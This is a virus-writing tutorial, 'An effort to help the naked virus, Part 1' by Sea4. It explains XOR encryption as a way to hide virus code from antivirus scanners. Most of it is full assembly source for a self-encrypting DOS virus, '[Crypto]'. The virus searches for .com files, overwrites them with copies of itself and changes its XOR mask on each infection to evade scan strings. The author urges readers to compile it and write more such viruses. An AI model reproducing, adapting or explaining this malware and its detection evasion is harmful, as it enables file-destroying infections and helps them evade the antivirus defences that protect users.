An effort to help the naked virus.
Part 1
By: Sea4

Its pretty simple really... You have a naked virus, and the AV scanners will see everything it has at first glance. The payload, the search routines, the write to file requests, and possibly your name are all exposed to the prying eyes of F-Prot and the like. So, what are you to do? Once all your virus code is commented and researched they'll have a scanstring for it in no time, and ways of cleaning it. But that is not what we want, we want to make it difficult for them. We have to make them earn their paychecks. We want to extend the life of your virus in the wild.

Enter: Encryption Techniques

Hopefully, with your basic knowledge of ASM you realize your computer reads the bytes of every file you run. Every few bytes are a command to the CPU. So certain bytes like CDh 21h are commands, this is the INT 21h command. When an AV scanner searches files, it looks for byte combinations that look similar to those found in virii. If it finds some, your virus it screwed. To prevent this catastrophe, we must alter the very bytes of your virus to make them appear as anything, but what they really are. You may notice that if you leaf through an assembly language tutorial or book, there alot of commands that directly manipulate bits. Since each byte consists of 8 bits, changing those bits totally changes the function of the bytes, making them appear unlike virus code to any curious AV product.

Before I start explaining stuff though, let me give you a quick list of memory sizes, and their number of bits.

         Bytes          Bits      Name           Compiler Name
         -----          ----      ----           -------------
         1/8            1         Bit
         1/2            4         Nybble
         1              8         Byte           BYTE
         2              16        Word           WORD
         4              32        Double Word    DWORD
         8              64        Quad Word      QWORD
         10             80        Ten Byte       TBYTE
         16             128       Paragraph      PARA
         256            2048      Page           PAGE
         65535          524280    Segment        SEGMENT

Use that as a reference when I refer to memory sizes and such. Some are not even referred to much even amongst ASM masters. The real important ones are the first 5, and Segment.

Now, I propose to show you the various bit altering ASM commands, and how to use them to hide. Lets start out with the most popular way to hide behind encryption. The famous XOR command! You have probably used it so far to make a byte = 0. Fortunetly for us, it has far more capabilities. What it does exactly is take the two operands and keep only different bits, placing them in the destination operand. For example:

    xor  al,bl     ; XORs AL and BL, placing the result in AL.

Lets assume AL = 3h ( which is 3d also ) and BL = 12h ( which is 18d )

Now for the binary values:

         00000011b = AL = 03h     ; First operand, and destination operand
    XOR                           ; XOR instruction
         00010010b = BL = 12h     ; 2nd operand, sometimes reffered to as
         --------                 ; a bit mask. ( Because it holds the bits )
         00010001b = AL = 11h     ; Resulting number, placed in AL

Notice that only the bits different in each of the two bytes are kept. This makes it possible to get the original number, by doing a second XOR. Watch:

         00010001b = AL = 11h     ; Result from first XOR
    XOR                           ; The second XOR instruction
         00010010b = BL = 12h     ; The bit mask we used the first time.
         --------
         00000011b = AL = 03h     ; Yay! Because we use the same bit mask twice
                                  ; we are able to retrieve the original number.

Now, your brain might be turning, and getting ahead of me. You might be saying to yourself "I think I know were he is goin' with this." If you don't I'll explain. Say you have your naked virus... and you take every byte in it, then you XOR them all against a bit mask like C4h :). It would change every single byte to something totally different. Then when you want to run the virus, you just XOR them all again to get back the original bytes that contain the virus code.

If that sounds confusing I'll put it in real simple terms. The first XOR above can be considered your Encryption, because it makes the bytes different than what you want to use. The second XOR would therefore be considered the Decryption, because it puts the bytes back into a useable format.

To better illustrate what I mean, I'll XOR CDh 21h ( INT 21h ) against a bit mask to hide it. Watch this:

    mov  AX,0CD21h      ; Puts the INT 21 command into AX
    mov  BX,0CBA2h      ; Our bit mask ( I just pulled it from thin air )
    xor  AX,BX          ; Encrypts AX

    AX = 11001101-00100001b  ; Binary representation of AX
         ^--AH--^ ^--AL--^   ; AH = CDh: AL = 21h

    BX = 11001011-10100010b  ; Binary representation of BX
         ^--BH--^ ^--BL--^   ; BH = CBh: BL = A2h

         11001101-00100001b  ; AX, also our destination operand
    XOR                      ; XOR instruction, encrypting this time
         11001011-10100010b  ; BX, our bit mask
         -------- --------
         00000110-10000011b  ; Resulting value place in AX as 0683h
         ^--AH--^ ^--AL--^   ; AH = 06h: AL = 83h

Hehe, now the CD21h has been turned into a 0683h. Before an AV scanner would recognize the INT 21h command. Now it only can only see the 0683h, which is totally different than INT 21h to a scanner. 06h = Push ES, and 83 isn't even a whole command by itself. So if we did that to all bytes in our virus, we could make the virus appear as something it is not. Before running the virus code of course you must get back the original bytes, and I'll show that with the 0683h value and the bit mask.

         00000110-10000011b  ; The encrypted value of AX
    XOR                      ; XOR instruction, decrypting this time
         11001011-10100010b  ; BX, our bit mask
         -------- --------
         11001101-00100001b  ; AX, where the result will be placed
         ^--AH--^ ^--AL--^   ; AH = CDh: AL = 21h

There it is. XOR encryption, at its very essence. Now you may be asking "That is all well, and good, but how the hell do I tell my virus to Encrypt/ Decrypt itself?" Well, that is a little more difficult to do, but pretty easy to understand. So here is an example of a virus using encryption, it can be compiled using A86.com:

    Start:
    ; Before the virus runs we must decrypt it.
    ; This is a simple call to Decrypt a virus, before running it.
    ; NOTE: It does NOT decrypt first generation to prevent crashing.

    SkipDec:
    jmp  Ende                ; This deserves a little explaining. We have to
                             ; skip the decryption on first run, because nothing
                             ; is encrypted. At location 'Ende' are instructions
                             ; to overwrite this JMP. If we don't skip the jmp
                             ; on first run all the bytes will be sent to the
                             ; CPU as encrypted bytes and may crash it.

    ; mov  cx,Crypto-Hidden  ; Gets the number of bytes from Hidden to the
                             ; Start of the encryption routine.
                             ; In subsequent generations of the virus, this will
                             ; be in the place of JMP.

    lea  si,Hidden           ; We load SI, and DI with the encrypted area
    mov  di,si               ; Because it is the Source (SI) and Destination (DI)
                             ; of the XORed bytes.
    Call Crypto              ; Calls the decrypt routine

    Hidden:                  ; Start of hidden area. It ends right before the
                             ; encryption routine.

    mov  ah,4Eh              ; Function 4Eh: Find First
    FindNext:
    xor  cx,cx               ; No attributes
    lea  dx,FileMask         ; *.com files
    int  21h                 ; Finds a com file to kill

    jnc  Open                ; Found one, lets infect it
    jmp  Close               ; None left, lets exit

    Open:                    ; Opens the file
    mov  ax,3D02h            ; Function 3Dh: Open File
                             ; 02 = read/write access to file
    lea  dx,9Eh              ; ASCIZ filename that was found
    int  21h                 ; open it

    xchg bx,ax               ; Put file handle in BX

    ; Now we must write the three main components of the virus
    ; to the victim file

    ; 1) Decrypt Call ( UnEncrypted )
    ; 2) Find/Infect Routines ( Encrypted )
    ; 3) Decrypt/encrypt routine ( UnEncrypted )

    ; First we must write the decrypt call to the victim
    ; seperatly so that we may encrypt the 'Hidden' area
    mov  ah,40h              ; Function 40h: Write to file
    lea  dx,start            ; Start of virus
    mov  cx,hidden-start     ; Length of area to write
    int  21h                 ; Write the first section
    ; Here we increase the XORvalue by 1. Every time a file is infected the XOR
    ; mask will change. This makes it possible for 255 differently encrypted
    ; virii to be formed. Pretty cool eh?

    inc  byte ptr[XorValue]       ; Increments the XOR value by 1
    jnz  NotZero                  ; The value resulted in 0
                                  ; which doesn't hide anything, so we must try
                                  ; again
    inc  byte ptr[XorValue]       ; Makes it = 1

    NotZero:
    ; Now the Find/Infect routines must be encrypted
    lea  di,buffer      ; Buffer is where the encrypted bytes will be
                        ; stored before writing to file.
    lea  si,hidden      ; Start of area from which we get the bytes to encrypt
    mov  cx,Crypto-Hidden    ; Length of second area
    push cx                  ; Saves the value on the stack
    call Crypto              ; Moves the bytes ( through crypto ) to the buffer

    mov  ah,40h         ; Function 40h: Write to file
    lea  dx,buffer      ; Where the encrypted Find/Infect routines are stored
    pop  cx             ; Gets the saved value of CX ( Size of Second area )
    int  21h            ; Writes the second part of the virus

    ; Now for the 3rd and final section of the virus.
    mov  ah,40h         ; Function 40h: write to file
    lea  dx,Crypto      ; Decrypt/Encrypt loop
    mov  cx,Ende-Crypto ; Length to write
    int  21h            ; Write that sucka'

    mov  ah,3Eh         ; Function 3Eh: Close file
    int  21h
    mov  ax,4F00h         ; Function 4Fh: Find Next file
    jmp  FindNext

    Close:
    int  20h                 ; Shut down the virus

    ; Here is a good place to put text strings, etc. because it is hidden by
    ; the encryption, and is not executed by the program.

    FileMask  db   '*.com',0      ; File mask for *.com files
    VirusName db   '[Crypto]',0        ; Name of the virus
    Author    db   'Sea4, CodeBreakers',0   ; Author and group
    Message   db   'An effort to help the naked virus.',0  ; Something extra

    Crypto:        ; The good thing about this type of encryption loop is
                   ; that it can also function as a decrypt loop.

    mov  dl,[Xorvalue]       ; Puts the XORvalue from memory into
                             ; DL, because DL is our bit mask
    EncLoop:      ; Encryption Loop
    lodsb                    ; Puts byte at [SI] into AL, then increments SI
                             ; Since Hidden is where we are starting to decrypt
                             ; This takes the byte at [SI] and puts it into AL
    xor  al,dl               ; We now XOR the byte to Decrypt/Encrypt it
    stosb                    ; Instead of putting a value in AL it copies
                             ; AL into the address [DI] (Destination Index)
                             ; then increments DI.
    loop EncLoop             ; Does one loop for every byte specified by CX
    ret                      ; Now we just return to who called this routine

    XorValue  db   00h       ; This is where the bitmask is saved between runs

    Buffer:        ; Start of the buffer or 'heap' as it is sometimes called.
                   ; An area not saved with the virus, but is used for holding
                   ; values and other temporary stuff.

    Ende:          ; This is also not saved but we need it for the first gen.
    ; Here is where we overwrite SkipDec: so the virus will run the decryption
    ; routine after the first generation.
    lea  di,SkipDec          ; Destination is the 'jmp ende' instruction which
                             ; is not needed in future generations.
    lea  si,NewBytes         ; What we replace 'jmp ende' with... it loads the
                             ; length of the area to decrypt.
    mov  cx,3                ; Length of 'jmp ende'
    rep  movsb               ; Does the replacement
    jmp  Hidden              ; Goes to the start of the virus code.

    NewBytes:
    mov  cx,Crypto-Hidden    ; Will overwrite the 'jmp ende' at the start of
                             ; the virus

    EndOfVirus:

         I wrote that just for you. Don't you feel special?
         Anyway... let me explain it as an outline.

    I. Call Decrypt
         - Calls the decrypt routine at Part III
           except on the first run

    II. Find Infect
         A. Find *.com files
              - Jump to G if none left
         B. Open them up
         C. Write Part I to the victim file
         D. Encrypt Part II into the Buffer
         E. Write Part III to victim file
         F. Close Victim and jump to section A.
         G. Close virus with INT 20h

    III. Decrypt/Encrypt
         A. Get XORvalue
         B. Get Byte at SI, and increment SI
         C. XOR that byte with XORvalue
         D. Put the Byte to DI and increment
         E. Loop to B until all specified bytes
            have been encrypted
         F. Return to caller

If you use the outline, the virus should be a thousand times easier to understand. To sum it up even more. The virus reads each byte of its code, encrypts them individually, then puts them in the buffer where they are then written to a victim.

Wow! I thought this would be a short text file. Oh well, I had to make it all real simple so everyone would understand. All I basically taught was how to understand XOR, and how to make a virus ready for encryption. The main aspect is to make sure it works. Encryption adds a whole lot of ways to screw your virus up royally, and will probably give you the biggest headache ever. But if you get it done right, its certainly worth it.

Since I am not really finished with everything I know about encryption, I will be writing a second part. Until then I think it would be helpful if you write several virii using encryption. At first, I reccommend you read over the virus I included, a few times. As well as the outline. You can paste it into a file of its own, then compile it to see how it works. After you get a feel for what is going on, try to write your own one without cut & paste. For a real challenge to the beginners. Try and add encryption to your first appending virus. By the time you get used to XOR, and basic encryption loops the second part of this tutorial should be finished. Here are a few ideas I have been kicking around:

1. Using the other bit manipulators. ( NOT, NEG, ROR, ROL and such )
2. Double encryption ( Twice the headache of normal encryption ) :-)
3. XCHG encryption ( Neato )
4. How to call the De/Encrypt loops ( Trust me, its important when using the other bit manipulators )
5. Encrypting your virus after it has been run. ( Not hard really )
6. Writing dual function De/Encrypt loops
7. Writing seperate loops for Decrypting and Encrypting
8. A quick example of how to add encryption to an appending virus. Its not really hard, its just where you put the call.

Well, I figure thats enough for now. Keep those virii encrypted because, a naked virus is a dead virus.

- Sea4@ThePentagon.com